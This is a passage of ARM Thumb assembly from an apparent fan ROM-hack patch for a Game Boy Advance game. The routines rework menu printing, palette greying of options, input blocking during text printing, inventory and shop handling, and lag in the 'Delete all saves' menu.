add r3,#1 //Continue along
cmp r3,#0x10
blt -
+
.change_palette_end:
pop {r1-r5,pc}
//=============================================================================================
// This hack sets in r0 a bitmask of the currently valid options
// It takes r0 as the base address and r1 as the amount to check
//=============================================================================================
.get_valid_options:
push {r4-r6,lr}
mov r4,r0
mov r5,r1
mov r6,#0 //Counter
mov r0,#0 //Setup starting bitmask
cmp r5,#0x20 //In 4 bytes there are only 0x20 bits
bgt .get_valid_options_end
-
mov r2,#0
ldr r1,[r4,#0]
lsl r1,r1,#0xA //Check validity
cmp r1,#0
bge +
mov r2,#1
+
lsl r2,r6
orr r0,r2 //Set r6-th bit in bitmask to r2
add r4,#4
add r6,#1
cmp r5,r6
bgt -
.get_valid_options_end:
pop {r4-r6,pc}
//=============================================================================================
// This hack properly handles updating the old options for the shop menu
//=============================================================================================
.update_shop_valid_options:
push {r3,lr}
sub r3,r1,r2 //r1 contains the old selected index, r2 contains the old top index
mov r2,#0x20
sub r2,r2,r3
mov r1,r0 //Discard the bit of the old selected item and re-compact this
lsl r1,r2
lsr r1,r2
add r2,r3,#1
lsr r0,r2
lsl r0,r3
orr r0,r1
pop {r3,pc}
//=============================================================================================
// This hack gets the valid options for the certain menus
//=============================================================================================
.get_menu_valid_options:
push {r2,lr}
bl main_menu_hacks.get_added_value_menu_valid
ldr r1,=#0x2016028 //Prepare the address
add r1,r1,r2
bl main_menu_hacks.get_top_index
lsl r0,r0,#2 //Go to the proper first item on the screen
add r2,r1,r0
bl main_menu_hacks.get_possible_indexes
mov r1,r0 //Set the number of maximum items
mov r0,r2
bl main_menu_hacks.get_valid_options
pop {r2,pc}
//=============================================================================================
// This hack changes the palette for the options that changed validity in the shop menus
//=============================================================================================
.change_shop_options:
push {r4-r6,lr}
mov r4,r0 //Save in r4 what changed
mov r5,r1 //Arrangement start
mov r6,#1 //Number to and with
bl .get_possible_indexes
mov r3,r0 //Number of items in this menu
mov r1,#0 //Current index
-
mov r0,r6
and r0,r4
cmp r0,#0
beq +
lsl r0,r1,#7 //If this isn't 0, it changed...
add r0,r5,r0 //Prepare the corresponding arrangement address
bl main_menu_hacks.change_palette
+
add r1,#1
lsl r6,r6,#1 //Prepare to check the next bit
cmp r1,r3 //There are r3 items displayed top in this menu
blt -
pop {r4-r6,pc}
//=============================================================================================
// This hack changes the palette for the options that changed validity in the psi menu
//=============================================================================================
.change_psi_options:
push {r4-r6,lr}
mov r4,r0 //Save in r4 what changed
mov r5,r1 //Arrangement start
mov r6,#1 //Number to and with
bl .get_possible_indexes
mov r3,r0 //Number of items in this menu
mov r1,#0 //Current index
-
mov r0,r6
and r0,r4
cmp r0,#0
beq .change_psi_options_end_single
lsr r0,r1,#1 //If this isn't 0, it changed...
lsl r2,r0,#7
mov r0,#1
and r0,r1
cmp r0,#1
bne +
mov r0,#0x1C //Handle the right side
+
add r0,r0,r2
add r0,r5,r0 //Prepare the corresponding arrangement address
bl main_menu_hacks.change_palette
.change_psi_options_end_single:
add r1,#1
lsl r6,r6,#1 //Prepare to check the next bit
cmp r1,r3 //There are r3 items displayed top in this menu
blt -
pop {r4-r6,pc}
//=============================================================================================
// This hack removes an item and then prints a new one if need be
//=============================================================================================
.printing_pressed_a:
push {r4-r7,lr}
mov r7,r0
ldr r1,[r7,#0]
bl main_menu_hacks.get_total_indexes
cmp r0,r1 //Skip printing if we don't remove an item from the withdrawing menu
beq .printing_pressed_a_end
bl main_menu_hacks.get_possible_indexes
mov r1,r0
bl main_menu_hacks.get_difference_top_total
cmp r0,r1 //We'll need the free tiles if we have more than r1 items after the top one
blt +
bl main_menu_hacks.new_get_empty_tiles
mov r4,r0 //We need to get them now and to store them in order to avoid
mov r5,r1 //writing to a bunch of tiles that was just freed
mov r6,r2
+
//Move the items' arrangements around by one
mov r0,r7
bl main_menu_hacks.new_withdraw_swap_arrangement
bl main_menu_hacks.get_possible_indexes
mov r1,r0
bl main_menu_hacks.get_difference_top_total
cmp r0,r1 //If this is >= r1, then we need to print new stuff!
bge +
//If we don't need to print new stuff, just set buffer to be updated and end this here
mov r0,#1
b .printing_pressed_a_end_update
+
ldr r1,[r7,#4]
bl main_menu_hacks.get_top_index
cmp r0,r1 //Check if the top index changed between the A press and now...
beq +
//If it did, the menu position was moved up by one. We don't need to print new stuff at the bottom,
//but we'll need to print new stuff at the top (the top two new items) and to move everything down
//by one line. Luckily, up_down_scrolling_print_no_get_empty_tiles handles it for us.
//We'll just need to trick it into thinking the selected_index corresponds to the top one.
bl main_menu_hacks.set_selected_index
mov r2,r0
mov r0,r4
mov r1,r5
mov r5,r2 //Saves the old selected_index in r5 temporarily
mov r2,r6
bl main_menu_hacks.up_down_scrolling_print_no_get_empty_tiles
mov r0,r5 //Restores the old selected_index
bl main_menu_hacks.set_selected_index
b .printing_pressed_a_end
+
//If it didn't, we need to print one item at the bottom right
mov r1,r0
bl main_menu_hacks.get_possible_indexes
sub r0,#1
add r0,r1,r0
bl main_menu_hacks.set_selected_index
mov r2,r0
mov r0,r4
mov r1,r5
mov r5,r2 //Saves the old selected_index in r5 temporarily
mov r2,r6
bl main_menu_hacks.pressing_a_scrolling_print_no_get_empty_tiles
mov r0,r5 //Restores the old selected_index
bl main_menu_hacks.set_selected_index
.printing_pressed_a_end:
mov r0,#0
.printing_pressed_a_end_update:
pop {r4-r7,pc}
//=============================================================================================
// This hack calls printing_pressed_a and then updates the greyed out options. Used only by the sell menu
//=============================================================================================
.printing_pressed_a_update_grey:
push {r4-r5,lr}
mov r4,r0
bl .printing_pressed_a
mov r5,r0
cmp r0,#1
bne + //Store the arrangements buffer if it returned 1
bl .store_arrangements_buffer
+
ldr r1,[r4,#0]
bl .get_total_indexes
cmp r1,r0 //Check if the number of items in the menu changed, otherwise do nothing
beq .printing_pressed_a_update_grey_end
bl .get_menu_valid_options
mov r3,r0
ldr r0,[r4,#0xC]
ldr r1,[r4,#0x8]
ldr r2,[r4,#0x4]
bl .update_shop_valid_options
mov r2,r0
cmp r5,#0
bne .printing_pressed_a_update_grey_compare
ldr r1,[r4,#4]
bl .get_top_index
sub r0,r0,r1
mov r1,#0x1F
cmp r0,#0 //Check if the top index changed between the A press and now...
beq +
lsl r2,r2,#1 //These are now the bottom options, not the top ones
lsl r1,r1,#1
+
and r3,r1 //Make it so the bit that isn't in r2 and the one that is in r3 match
.printing_pressed_a_update_grey_compare:
eor r2,r3 //If the valid options changed, change
cmp r2,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
mov r0,r2
ldr r1,=#0x2016996
bl main_menu_hacks.change_shop_options
+
.printing_pressed_a_update_grey_end:
pop {r4-r5,pc}
//=============================================================================================
// This hack fixes 8-letter names on the main file load screen.
//=============================================================================================
.filechoose_lengthfix:
str r3,[sp,#0] // clobbered code
// Address in r0. Return the length in r3.
push {r0,lr}
mov r3,#9 // default value
bl check_name // see if it's a custom name
cmp r0,#0
beq +
mov r3,r0
+
pop {r0,pc}
//=============================================================================================
// This hack fixes the fact that if you lose the first battle Claus won't have any PP left
//=============================================================================================
claus_pp_fix:
.main:
push {lr}
lsl r0,r0,#0x10 //Character identifier
lsr r0,r0,#0x10
cmp r0,#2 //Lucas
beq +
cmp r0,#4 //Kumatora
beq +
cmp r0,#0xD //Claus
bne .failure
+
mov r0,#1 //Allow copying PPs
b .end
.failure: //If it's not one of them, then they should not have PPs
mov r0,#0
.end:
pop {pc}
//=============================================================================================
// This set of hacks cleans the writing stack
//=============================================================================================
refreshes:
//=============================================================================================
// The main hack that clears the actual writing stack
//=============================================================================================
.main:
push {lr}
ldr r1,=#0x2013040 //Address of the stack
mov r0,#0
str r0,[r1,#0x0] //Clean the words' lengths so it won't print
str r0,[r1,#0x10]
str r0,[r1,#0x14]
str r0,[r1,#0x18]
str r0,[r1,#0x1C]
pop {pc}
//=============================================================================================
// These hacks call the main one to clear the writing stack
//=============================================================================================
.lr:
push {lr}
bl .main
ldrh r1,[r5,#0xA] //Normal stuff the game expects from us
ldr r2,=#0x4264
pop {pc}
.b:
push {lr}
bl .main
mov r0,#0xD3 //Normal stuff the game expects from us
bl $800399C
pop {pc}
.inv_spec_a:
push {lr}
bl .main
ldr r1,=#0x426A //Normal stuff the game expects from us
add r0,r1,r7
pop {pc}
.memo_a:
push {lr}
bl .main
mov r0,r5 //Normal stuff the game expects from us
bl $804EEE8
pop {pc}
.equip_a:
push {lr}
bl .main
mov r0,r4 //Normal stuff the game expects from us
bl $804EB68
pop {pc}
.inner_memo_scroll:
push {r1,lr} //Let's save r1, since the game needs it
bl .main
pop {r1}
mov r0,r1 //Normal stuff the game expects from us
bl $804EF38
pop {pc}
.inner_equip_a:
push {lr}
bl .main
ldr r7,=#0x2016028 //Normal stuff the game expects from us
ldr r0,=#0x41C6
pop {pc}
.switch_lr:
push {lr}
bl .main
ldrh r0,[r4,#4] //Normal stuff the game expects from us
bl $8053E98
pop {pc}
.status_lr:
push {lr}
bl .main
ldrh r1,[r4,#0xA] //Normal stuff the game expects from us
ldr r2,=#0x4264
pop {pc}
//=============================================================================================
// These hacks call the main one to clear the writing stack and then blank out the tiles.
// This makes it so the printing process isn't showed
//=============================================================================================
.deposit_lr:
push {lr}
bl .main
bl main_menu_hacks.delete_vram
bl $804C35C //Normal stuff the game expects from us
pop {pc}
.psi_select:
push {lr}
bl .main
bl main_menu_hacks.delete_vram
mov r0,#0xD2 //Normal stuff the game expects from us
bl $800399C
pop {pc}
.status_a:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#4
bne +
bl .main
bl main_menu_hacks.delete_oam_vram
+
bl $8046D90 //Normal stuff the game expects from us
pop {pc}
.skills_b:
push {lr}
bl .main
bl main_menu_hacks.delete_oam_vram
mov r0,#0xD3 //Normal stuff the game expects from us
bl $800399C
pop {pc}
//=============================================================================================
// This hack blanks out a part of OAM's text tiles.
// This makes it so the printing process isn't showed
//=============================================================================================
.inv_submenu_a:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#0 //Make sure we're in the inventory. Double checking never hurts
bne + //If we are, clean a subsection of OAM's VRAM
bl main_menu_hacks.delete_oam_vram_subsection
+
bl $804FA5C //Normal stuff the game expects from us
pop {pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack.
// It then changes how the withdraw menu swaps character. (Top index and selected item won't change)
//=============================================================================================
.withdraw_lr:
push {lr}
bl .main //Don't refresh the withdraw menu when we swap character...
bl main_menu_hacks.prepare_swap_char_withdraw
pop {pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack.
// It then moves the text up/down and prints only the bottom/top line
//=============================================================================================
.up_and_down:
push {r0-r2,lr}
bl .main
//bl $8046D90 //Normal stuff the game expects from us
bl main_menu_hacks.up_down_scrolling_print
pop {r0-r2,pc}
//=============================================================================================
// This hack calls the main one to clear the writing stack only if the game's done printing.
// If the game's done printing, it then moves the text up/down and prints only the bottom/top line
//=============================================================================================
.up_and_down_battle_memoes:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0]
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r5
mov r1,r7
bl $8053598
lsl r0,r0,#0x10
lsr r0,r0,#0x10
cmp r0,#2
bne +
push {r0-r2}
bl .main
bl main_menu_hacks.up_down_scrolling_print
ldr r1,=#0xC5AD //Signal printing
add r1,r1,r6
ldrb r0,[r1,#0]
mov r2,#1
orr r0,r2
strb r0,[r1,#0]
pop {r0-r2}
mov r0,#1
+
add sp,#4
pop {pc}
//=============================================================================================
// These hacks allow input reading only if the game's done printing.
//=============================================================================================
.inv_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Have we finished printing?
beq .inv_block_a_passed //Yes! Then let it do what it wants to do
pop {r0}
ldr r0,=#0x804CC35 //No! Prevent the game from opening stuff we don't want yet.
bx r0
.inv_block_a_passed:
ldr r0,=#0x2DFA //Normal stuff the game expects from us
add r1,r7,r0
pop {pc}
.inv_submenu_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,r1
mov r1,#0 //Have we finished printing?
cmp r0,#0
bne +
ldrh r1,[r4,#0] //Normal input loading
+
mov r0,#3
pop {pc}
.sell_block_input_up_and_down:
push {lr}
add sp,#-0x8
str r0,[sp,#4]
ldr r0,[sp,#0xC]
str r0,[sp,#0] //Prepare args for the function
mov r2,r1
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do this only if it's done printing
cmp r1,#0
bne +
ldr r0,[sp,#4]
mov r1,r2
mov r2,r5
bl $8053598
+
add sp,#0x8
pop {pc}
.sell_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0
bne +
push {r2} //Let's save r2, since the game needs it
bl .main
pop {r2}
mov r0,r2 //Normal stuff the game expects from us
bl $804F0D4
+
pop {pc}
.psi_prevent_input_a_select:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,r1
ldrh r1,[r7,#0] //Input
cmp r0,#0
beq +
ldr r0,=#0xFFFA
and r1,r0 //Prevent using A and SELECT if the PSI menu isn't fully done printing
+
cmp r1,#1 //Clobbered code
pop {pc}
.withdraw_psi_memo_block_input_up_and_down:
push {lr}
add sp,#-0xC
ldr r0,[sp,#0x10]
str r0,[sp,#0]
ldr r0,[sp,#0x14]
str r0,[sp,#4]
ldr r0,[sp,#0x18]
str r0,[sp,#8] //Prepare args for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do this only if it's done printing
cmp r1,#0
bne +
add r0,r5,#4
mov r1,r5
add r1,#8
bl $8053968
+
add sp,#0xC
pop {pc}
.withdraw_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
add r0,r4,#4
mov r1,r7
bl $8053754
+
add sp,#4
pop {pc}
.buy_block_a:
push {lr}
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Prevent confirming buying (it interacts with
bne + //the arrangements) unless everything's printed
bl $8050008
+
pop {pc}
.buy_block_up_down:
push {lr}
add sp,#-4
mov r2,r0
bl main_menu_hacks.check_if_printed
mov r0,#0 //Prevent scrolling up or down (it interacts with
cmp r1,#0 //the arrangements) unless everything's printed
bne +
ldr r0,[sp,#8] //Prepare args for the function
str r0,[sp,#0]
mov r0,r2
mov r2,r5
add r1,r0,#4
bl $8053598
+
add sp,#4
pop {pc}
.buy_block_lr:
push {lr}
add sp,#-4
mov r2,r0
bl main_menu_hacks.check_if_printed
mov r0,#0 //Prevent changing character (it interacts with
cmp r1,#0 //the arrangements) unless everything's printed
bne +
ldr r0,[sp,#8] //Prepare args for the function
str r0,[sp,#0]
mov r1,r5
mov r0,r2
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
.equip_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r4
add r0,#0xA
mov r1,r5
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
.status_block_input_lr:
push {lr}
add sp,#-4
ldr r0,[sp,#8]
str r0,[sp,#0] //Prepare arg for the function
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
mov r0,r4
add r0,#0xA
mov r1,r2
mov r2,#0
bl $8053754
+
add sp,#4
pop {pc}
//=============================================================================================
// This hack updates the inventory.
// It then returns both the new inventory size and the one before updating it
//=============================================================================================
.inv_load_new_old_size:
push {lr}
add sp,#-4
mov r1,r0
bl main_menu_hacks.get_character_inventory_total_indexes
str r0,[sp,#0] //Save old inventory's size
mov r0,r1
bl $80524EC //Routine that updates inventory's size
bl main_menu_hacks.get_character_inventory_total_indexes
ldr r1,[sp,#0] //Put in r0 the new size and in r1 the old one
add sp,#4
pop {pc}
//=============================================================================================
// This hack makes it so if we're in the buying menu, a certain B branch doesn't update the screen.
// This happens in the "Equip X?" and "Sell X?" submenus
//=============================================================================================
.shop_block_b_update:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0] //Load the menu type
cmp r0,#0xA //Is this the buying menu?
beq +
bl $8046D90 //If not, proceed normally
+
pop {pc}
//=============================================================================================
// This hack handles using/giving/throwing inventory items in an optimized way by not printing
//=============================================================================================
.inv_handle_item_movement:
push {r4,lr}
add sp,#-0x50
mov r4,#0
str r4,[sp,#0xC] //Set this address to a default
mov r4,r2
bl main_menu_hacks.store_menu_movement_data
bl .inv_load_new_old_size
cmp r0,r1
bne + //Did the inventory's size change?
//If it did not, check if we should move the item to the bottom
cmp r4,#1
bne .inv_handle_item_movement_end
str r0,[sp,#0xC] //Save the fact that we should move the item to the bottom
mov r0,sp
mov r1,#0 //Copy from the arrangements
mov r2,#0x10
add r2,r2,r0 //Load the item's arrangements in
bl main_menu_hacks.new_inventory_copy_arrangement
+
mov r0,sp
bl main_menu_hacks.new_inventory_deposit_swap_arrangement
ldr r0,[sp,#0xC]
cmp r0,#0
beq +
sub r0,r0,#1
str r0,[sp,#8] //Put the target in the movement data
mov r0,sp
mov r1,#1 //Copy to the arrangements
mov r2,#0x10
add r2,r2,r0 //Move the item's arrangement to the bottom
bl main_menu_hacks.new_inventory_copy_arrangement
+
bl main_menu_hacks.store_arrangements_buffer
mov r0,#0 //Return the fact that the size changed
.inv_handle_item_movement_end:
add sp,#0x50
pop {r4,pc}
//=============================================================================================
// This hack handles using and throwing inventory items
//=============================================================================================
.inv_use_throw:
push {r2,lr}
mov r2,#0 //If the size stays the same, no operation to be done
bl .inv_handle_item_movement
cmp r0,#0
bne +
ldr r0,=#0x2015D98
ldrb r1,[r0,#0]
mov r2,#4 //Prevents glitch in which the new currently selected item's data would show up for the top OAM
orr r1,r2
strb r1,[r0,#0]
+
pop {r2,pc}
//=============================================================================================
// This hack handles giving inventory items (It's a special case because you can give them
// to the same character and change the inventory's order without changing its size)
//=============================================================================================
.inv_give:
push {r2,lr}
mov r2,#1 //If the size stays the same, move the item to the bottom
bl .inv_handle_item_movement
pop {r2,pc}
//=============================================================================================
// These hacks save which entries are valid and then update them.
// This allows changing the palette of certain entries instead of reprinting them
//=============================================================================================
.sell_confirmed_a:
push {lr}
add sp,#-0x10
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0xC]
bl $8050218
add sp,#0x10
pop {pc}
.sell_confirmed_equipment_a:
push {lr}
add sp,#-0x10
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0xC]
bl $805030C
add sp,#0x10
pop {pc}
//=============================================================================================
// These hacks update the palette of certain entries instead of reprinting them.
// They also remove the sold item and only print the one at the bottom (if it exists)
//=============================================================================================
.sell_equipment_confirmed_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x1C
bl main_menu_hacks.printing_pressed_a_update_grey
pop {pc}
.sell_confirmed_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x14
bl main_menu_hacks.printing_pressed_a_update_grey
pop {pc}
//=============================================================================================
// These hacks update the palette of certain entries instead of reprinting them
//=============================================================================================
.psi_used:
push {r4,lr}
add sp,#-4
mov r4,r0
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
mov r0,r4
bl $8052864 //Do the PSI used routine...
mov r0,r4
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x201697A
bl main_menu_hacks.change_psi_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {r4,pc}
.buy_a:
push {lr}
add sp,#-4
bl .main
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
mov r0,r4
bl $8052F9C //Do the confirming buying routine...
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x2016992
bl main_menu_hacks.change_shop_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {pc}
.buy_lr:
push {lr}
add sp,#-4
bl .main
bl main_menu_hacks.get_menu_valid_options
str r0,[sp,#0] //Get the valid options now
bl main_menu_hacks.prepare_swap_char_buying
bl main_menu_hacks.get_menu_valid_options
ldr r1,[sp,#0]
eor r0,r1 //If the valid options changed, change
cmp r0,#0 //the assigned palette for those that changed
beq + //and then set the arrangements to be updated
ldr r1,=#0x2016992
bl main_menu_hacks.change_shop_options
bl main_menu_hacks.store_arrangements_buffer
+
add sp,#4
pop {pc}
.sell_after_buy_a:
push {r4,lr}
mov r4,r5 //Cover the -selling old equipment
bl .buy_a //after buying new one- case
pop {r4,pc}
//=============================================================================================
// This hack allows input reading only if the game's done printing.
// If it is done, then it saves the current position of the cursor in order to
// only remove what is needed without reprinting the entire menu
//=============================================================================================
.deposit_a:
push {lr}
bl main_menu_hacks.check_if_printed
mov r0,#0 //Do the thing only IF we're done printing.
cmp r1,#0 //Prevents issues with arrangements not being there
bne +
add sp,#-0xC //Prepare the item's index for the deposit-movement routine
bl main_menu_hacks.store_menu_movement_data
bl .main
mov r0,r4 //Normal stuff the game expects from us
bl $804F1D8
add sp,#0xC
+
pop {pc}
//=============================================================================================
// This hack moves the items in the deposit menu around instead of reprinting them
//=============================================================================================
.deposit_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x1C
bl main_menu_hacks.new_inventory_deposit_swap_arrangement
bl main_menu_hacks.store_arrangements_buffer
pop {pc}
//=============================================================================================
// This hack allows input reading only if the game's done printing.
// If it is done, then it saves the current position of the cursor in order to
// only remove what is needed without reprinting the entire menu
// It also checks whether there is space in the character's inventory
//=============================================================================================
.withdraw_a:
push {lr}
add sp,#-0xC
bl main_menu_hacks.store_menu_movement_data
bl main_menu_hacks.check_if_printed
cmp r1,#0 //Do the thing only IF we're done printing.
bne .withdraw_a_end //Prevents issues with arrangements not being there
ldr r0,=#0x201A294 //Check if the inventory is full. If it is, then the game won't print again and we need to let it do its thing. We need to manually increment this, as the original devs forgot to do it.
ldrh r1,[r0,#0]
cmp r1,#0x10
bge +
add r1,#1
strh r1,[r0,#0]
bl .main
+
mov r0,r5 //Normal stuff the game expects from us
bl $804F294
.withdraw_a_end:
add sp,#0xC
pop {pc}
//=============================================================================================
// This hack moves the items in the withdraw menu around instead of reprinting them
//=============================================================================================
.withdraw_printing_pressed_a:
push {lr}
mov r0,sp
add r0,#0x14
bl main_menu_hacks.printing_pressed_a
cmp r0,#1
bne + //Store the arrangements buffer if it returned 1
bl main_menu_hacks.store_arrangements_buffer
+
pop {pc}
//=============================================================================================
// This set of hack tries to improve the performances of menus that may use most of the CPU
// in certain specific situations (Status and Equip).
//=============================================================================================
improve_performances_menus:
//=============================================================================================
// This hack prints "Weapon", "Body", "Head", "Other" and "Skills" in VRAM.
//=============================================================================================
.status_vram_equip_descriptors:
push {lr}
add sp,#-4
str r4,[sp,#0]
bl $8047B9C //Base code, orders printing "PP"
mov r0,#0x52
bl $80486A0 //Load up "Weapon"
str r4,[sp,#0]
mov r1,#9
mov r2,#5
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x54
bl $80486A0 //Load up "Body"
str r4,[sp,#0]
mov r1,#9
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x53
bl $80486A0 //Load up "Head"
str r4,[sp,#0]
mov r1,#9
mov r2,#7
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x55
bl $80486A0 //Load up "Other"
str r4,[sp,#0]
mov r1,#9
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x56
bl $80486A0 //Load up "Skills"
str r4,[sp,#0]
mov r1,#9
mov r2,#9
mov r3,r5
bl $8047B9C //Order its printing
add sp,#4
pop {pc}
//=============================================================================================
// This hack prints "Weapon", "Body", "Head" and "Other" in VRAM.
//=============================================================================================
.equipment_vram_equip_descriptors:
push {lr}
add sp,#-4
mov r4,#1
mov r5,#1
neg r5,r5
mov r0,#0x52
bl $80486A0 //Load up "Weapon"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#2
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x54
bl $80486A0 //Load up "Body"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#4
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x53
bl $80486A0 //Load up "Head"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#6
mov r3,r5
bl $8047B9C //Order its printing
mov r0,#0x55
bl $80486A0 //Load up "Other"
str r4,[sp,#0]
mov r1,#0xB
mov r2,#8
mov r3,r5
bl $8047B9C //Order its printing
ldr r0,=#0x201A51B
mov r1,#0
add sp,#4
pop {pc}
//=============================================================================================
// Avoid reprinting stuff we don't need to when closing the equipment submenu
//=============================================================================================
.equip_avoid_left_reprint:
push {lr}
ldr r0,=#0x201A51B
mov r1,#4
strb r1,[r0,#0] //Specify no reprinting for left column
bl $8046D90 //Call printing
ldr r0,=#0x201A51B
mov r1,#0
strb r1,[r0,#0] //Restore previous value
pop {pc}
//=============================================================================================
// This set of hack removes the lag from the "Delete all saves" menu.
// To access it, press LOAD in the main menu with L + R + START + A held down
//=============================================================================================
fix_lag_delete_all:
//=============================================================================================
// This hack makes it so the "LV" icon has the same priority as the other OAM entries.
// Otherwise it could pop over the backgorund
//=============================================================================================
.change_level_priority:
mov r6,#2
str r6,[sp,#0]
mov r6,#1 //Set r6 to 1 because the rest of the function expects it to be 1
bx lr
//=============================================================================================
// This hack makes it so BG1 (the VRAM BG) is 5 pixels lower.
// It makes it possible to match the original text.
//=============================================================================================
.change_bg1_coords:
ldr r1,=#0x2016028
cmp r0,#9
bne +
ldrh r0,[r1,#0x1C] //Move the Y axys by 5 pixels
mov r0,#3
strh r0,[r1,#0x1C]
mov r0,#9
+
cmp r0,#8
bx lr
//=============================================================================================
// This hack adds VRAM entries for the text in the "Delete all saves" menu.
// It also hides BG1
//=============================================================================================
.add_extra_vram:
push {lr}
add sp,#-4
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#9
bne +
ldr r0,=#0x2016028
ldrh r1,[r0,#0xC]
mov r2,#3
orr r1,r2
strh r1,[r0,#0xC] //Hide BG1 until we need to show it
mov r5,#1
neg r5,r5
mov r4,#0xF //Generic text stuff
mov r0,#0x1D //"Delete all saves" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x3
mov r2,#4
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x21 //"Is that okay" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x3
mov r2,#5
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x03 //"Yes" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0x7
mov r2,#6
mov r3,r5
bl $8047B9C //Order printing
mov r0,#0x04 //"No" text
bl $80486A0
str r4,[sp,#0]
mov r1,#0xB
mov r2,#6
mov r3,r5
bl $8047B9C //Order printing
mov r0,#9
+
add sp,#4
pop {pc}
//=============================================================================================
// This hack hides BG1 (the VRAM backgorund).
// Used when Yes or No has been pressed
//=============================================================================================
.hide_background:
push {r1-r2}
ldr r0,=#0x2016028
ldrh r1,[r0,#0xC]
mov r2,#3
orr r1,r2
strh r1,[r0,#0xC] //Hide back VRAM content in BG1
mov r0,#0
pop {r1-r2}
bx lr
//=============================================================================================
// This hack changes the BG0 and the BG1 priority for the "Delete all saves" menu.
// BG1 (VRAM text) goes over BG0 (submenu window).
// The default code goes on to print some OAM entries, which are skipped
// in the "Delete all saves" menu.
//=============================================================================================
.change_background_priority_remove_oam:
push {lr}
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#0x10 //Is this the saving menu?
bne +
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#9 //Is this the "Delete all files" menu?
bne +
ldrh r0,[r4,#0xA]
mov r1,#1
orr r0,r1 //Change BG0 priority to 1
strh r0,[r4,#0xA]
ldrh r0,[r4,#0xC]
mov r1,#4
neg r1,r1
and r0,r1 //Change BG1 priority to 0. Bring forth the text written in VRAM
strh r0,[r4,#0xC]
pop {r0}
ldr r0,=#0x8045DE7
bx r0 //Sadly, we need to skip part of the routine and this is the best way that came to mind...
+
ldr r0,=#0x41CC //Default code
add r4,r4,r0
pop {pc}
//=============================================================================================
// This hack removes the cursor while the "Delete all files" menu is loading up
//=============================================================================================
.remove_starting_cursor:
push {lr}
add sp,#-4
ldr r3,=#0x201A288
ldrb r3,[r3,#0]
cmp r3,#0x10
bne +
ldr r3,=#0x2004100
ldrb r3,[r3,#0]
cmp r3,#0x9
bne +
ldr r3,=#0x201A202 //0x2016028 + 0x41C6
ldrb r3,[r3,#0]
cmp r3,#0x4
bne +
b .remove_starting_cursor_end
+
ldr r3,[sp,#8]
str r3,[sp,#0]
mov r3,#0x20 //Function parameters
bl $8046A28
.remove_starting_cursor_end:
add sp,#4
pop {pc}
//=============================================================================================
// This hack makes it so the window is loaded up for the "Delete all files" menu only after
// the fadein is over
//=============================================================================================
.hack:
push {lr}
push {r0-r3}
ldr r2,=#0x2016028
ldr r0,=#0x41DA
add r3,r2,r0
mov r1,#0x12
sub r1,r0,r1
add r0,r1,r2 //Load the submenu we're in. 5 is a sub-submenu
ldrh r1,[r0,#4] //Load the subscreen we're in. 0x1D is the "Delete all saves" one.
cmp r1,#0x1D
bne +
